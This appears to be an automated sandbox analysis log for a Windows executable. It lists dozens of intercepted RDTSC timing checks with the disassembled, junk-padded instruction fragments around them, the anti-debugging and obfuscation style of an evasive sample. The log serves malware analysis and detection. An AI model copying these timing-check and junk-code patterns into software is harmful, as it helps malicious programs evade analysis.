Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C32D second address: 54C331 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C331 second address: 54C335 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C1A6 second address: 54C1AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 555061 second address: 555069 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553E3B second address: 553E40 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553F67 second address: 553F6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553F6D second address: 553F73 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553F73 second address: 553F86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD9A885D71Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55411C second address: 554124 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 554124 second address: 554128 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 554279 second address: 554286 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jp 00007FD9A93E11DCh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 558B2C second address: 558B32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 558B32 second address: 558B3C instructions: 0x00000000 rdtsc 0x00000002 jp 00007FD9A93E11D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 558B3C second address: 558B42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 558B42 second address: 558B48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 558B48 second address: 558B6A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007FD9A885D71Eh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 ja 00007FD9A885D716h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 558B6A second address: 558B6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 558B6E second address: 558B74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 558B74 second address: 558B7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5588A2 second address: 5588B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD9A885D71Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5588B2 second address: 5588B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56AA7C second address: 56AAA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD9A885D729h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56A888 second address: 56A88C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56A88C second address: 56A8A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD9A885D71Bh 0x0000000b pop edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f ja 00007FD9A885D716h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56A8A7 second address: 56A8EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9A93E11E2h 0x00000007 js 00007FD9A93E11D6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jo 00007FD9A93E11EDh 0x00000015 jmp 00007FD9A93E11E7h 0x0000001a jng 00007FD9A93E11D8h 0x00000020 pushad 0x00000021 popad 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57843B second address: 578440 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58C947 second address: 58C95A instructions: 0x00000000 rdtsc 0x00000002 ja 00007FD9A93E11D6h 0x00000008 jns 00007FD9A93E11D6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58C95A second address: 58C960 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59065E second address: 590662 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 590662 second address: 590668 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 590668 second address: 59068D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD9A93E11E9h 0x0000000b popad 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 590E60 second address: 590E64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 590E64 second address: 590E74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 ja 00007FD9A93E11DEh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 590FD8 second address: 590FEC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9A885D71Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push edi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 592C1A second address: 592C4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD9A93E11E6h 0x0000000b push edi 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e jng 00007FD9A93E11D6h 0x00000014 pop edi 0x00000015 popad 0x00000016 pushad 0x00000017 jc 00007FD9A93E11DEh 0x0000001d push ecx 0x0000001e pop ecx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5957B2 second address: 5957B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59587B second address: 59587F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59920B second address: 599211 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 599211 second address: 599215 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 599215 second address: 599219 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ABAEF second address: 4ABAF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ABD14 second address: 4ABD2B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9A885D723h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ABF64 second address: 4ABF6A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ABF6A second address: 4ABF83 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007FD9A885D71Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F0363 second address: 53F03E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD9A93E11E8h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FD9A93E11E0h 0x00000011 push eax 0x00000012 jmp 00007FD9A93E11DBh 0x00000017 xchg eax, ebp 0x00000018 jmp 00007FD9A93E11E6h 0x0000001d mov ebp, esp 0x0000001f jmp 00007FD9A93E11E0h 0x00000024 mov edx, dword ptr [ebp+0Ch] 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007FD9A93E11E7h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F03E3 second address: 53F041E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9A885D729h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f call 00007FD9A885D726h 0x00000014 pop eax 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54105C6 second address: 54105CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54105CA second address: 54105D8 instructions: 0x00000000 rdtsc 0x00000002 mov edx, ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54105D8 second address: 54105DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54105DC second address: 54105E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54105E0 second address: 54105E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54105E6 second address: 5410620 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FD9A885D720h 0x00000008 pop ecx 0x00000009 mov si, di 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 jmp 00007FD9A885D729h 0x00000018 mov ebx, ecx 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5410620 second address: 541067F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD9A93E11E3h 0x00000009 jmp 00007FD9A93E11E3h 0x0000000e popfd 0x0000000f jmp 00007FD9A93E11E8h 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xchg eax, ebp 0x00000018 jmp 00007FD9A93E11E0h 0x0000001d mov ebp, esp 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 541067F second address: 541069C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9A885D729h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 541069C second address: 54106B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9A93E11E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54106B8 second address: 54106BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54106BC second address: 54106C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54106C2 second address: 54106C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54106C8 second address: 54106CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54106CC second address: 5410729 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9A885D71Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FD9A885D71Bh 0x00000011 xchg eax, ecx 0x00000012 jmp 00007FD9A885D726h 0x00000017 xchg eax, esi 0x00000018 pushad 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007FD9A885D71Ch 0x00000020 jmp 00007FD9A885D725h 0x00000025 popfd 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5410729 second address: 54107BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 call 00007FD9A93E11E9h 0x0000000d pushfd 0x0000000e jmp 00007FD9A93E11E0h 0x00000013 xor ax, 62B8h 0x00000018 jmp 00007FD9A93E11DBh 0x0000001d popfd 0x0000001e pop esi 0x0000001f pushfd 0x00000020 jmp 00007FD9A93E11E9h 0x00000025 add si, F556h 0x0000002a jmp 00007FD9A93E11E1h 0x0000002f popfd 0x00000030 popad 0x00000031 xchg eax, esi 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 call 00007FD9A93E11E3h 0x0000003a pop eax 0x0000003b push edx 0x0000003c pop eax 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54107BA second address: 54107C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54107C0 second address: 54107F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea eax, dword ptr [ebp-04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e call 00007FD9A93E11E5h 0x00000013 pop esi 0x00000014 call 00007FD9A93E11E1h 0x00000019 pop esi 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5410853 second address: 5410872 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov esi, edi 0x00000006 popad 0x00000007 popad 0x00000008 mov esi, eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FD9A885D721h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5410872 second address: 5410887 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9A93E11E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54108FB second address: 54108FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54108FF second address: 5410905 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5410905 second address: 541090B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 541090B second address: 541090F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 541090F second address: 5410053 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 jmp 00007FD9A885D720h 0x0000000e leave 0x0000000f jmp 00007FD9A885D720h 0x00000014 retn 0004h 0x00000017 nop 0x00000018 cmp eax, 00000000h 0x0000001b setne al 0x0000001e xor ebx, ebx 0x00000020 test al, 01h 0x00000022 jne 00007FD9A885D717h 0x00000024 xor eax, eax 0x00000026 sub esp, 08h 0x00000029 mov dword ptr [esp], 00000000h 0x00000030 mov dword ptr [esp+04h], 00000000h 0x00000038 call 00007FD9AD99B743h 0x0000003d mov edi, edi 0x0000003f pushad 0x00000040 mov dl, cl 0x00000042 call 00007FD9A885D723h 0x00000047 pushfd 0x00000048 jmp 00007FD9A885D728h 0x0000004d xor eax, 56281588h 0x00000053 jmp 00007FD9A885D71Bh 0x00000058 popfd 0x00000059 pop eax 0x0000005a popad 0x0000005b push esi 0x0000005c push eax 0x0000005d push edx 0x0000005e jmp 00007FD9A885D71Bh 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5410053 second address: 54100C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9A93E11E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c jmp 00007FD9A93E11DEh 0x00000011 mov ebp, esp 0x00000013 pushad 0x00000014 call 00007FD9A93E11DEh 0x00000019 mov si, E451h 0x0000001d pop esi 0x0000001e movsx ebx, ax 0x00000021 popad 0x00000022 push FFFFFFFEh 0x00000024 pushad 0x00000025 push eax 0x00000026 movsx edi, si 0x00000029 pop eax 0x0000002a movsx edx, cx 0x0000002d popad 0x0000002e push 248549D7h 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007FD9A93E11E7h 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54100C7 second address: 54100CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54100CD second address: 54100D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54100D3 second address: 54100EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 512FD79Fh 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push ebx 0x00000013 pop ecx 0x00000014 mov si, dx 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54100EB second address: 5410102 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD9A93E11E3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5410102 second address: 5410134 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9A885D729h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push 1E22BB9Fh 0x00000010 pushad 0x00000011 popad 0x00000012 add dword ptr [esp], 57826FD1h 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c mov eax, edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5410134 second address: 541015E instructions: 0x00000000 rdtsc 0x00000002 mov bx, A2BEh 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov cx, di 0x0000000b popad 0x0000000c mov eax, dword ptr fs:[00000000h] 0x00000012 jmp 00007FD9A93E11E1h 0x00000017 nop 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 541015E second address: 5410162 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5410162 second address: 5410166 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5410166 second address: 541016C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 541016C second address: 5410191 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, esi 0x00000005 jmp 00007FD9A93E11DCh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FD9A93E11DEh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5410191 second address: 54101A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9A885D71Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54101A7 second address: 54101AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54101AD second address: 54101F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9A885D71Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub esp, 18h 0x0000000c jmp 00007FD9A885D720h 0x00000011 xchg eax, ebx 0x00000012 pushad 0x00000013 mov ebx, eax 0x00000015 jmp 00007FD9A885D71Ah 0x0000001a popad 0x0000001b push eax 0x0000001c pushad 0x0000001d mov ecx, ebx 0x0000001f pushad 0x00000020 pushad 0x00000021 popad 0x00000022 mov bx, 101Ch 0x00000026 popad 0x00000027 popad 0x00000028 xchg eax, ebx 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54101F1 second address: 541020D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9A93E11E8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 541020D second address: 5410213 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5410213 second address: 541024D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a mov bx, si 0x0000000d jmp 00007FD9A93E11E0h 0x00000012 popad 0x00000013 mov dword ptr [esp], esi 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FD9A93E11E7h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 541024D second address: 541029F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, cx 0x00000006 pushfd 0x00000007 jmp 00007FD9A885D720h 0x0000000c add cx, 8C58h 0x00000011 jmp 00007FD9A885D71Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, edi 0x0000001b jmp 00007FD9A885D726h 0x00000020 push eax 0x00000021 pushad 0x00000022 mov cx, dx 0x00000025 mov cx, di 0x00000028 popad 0x00000029 xchg eax, edi 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 541029F second address: 54102A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
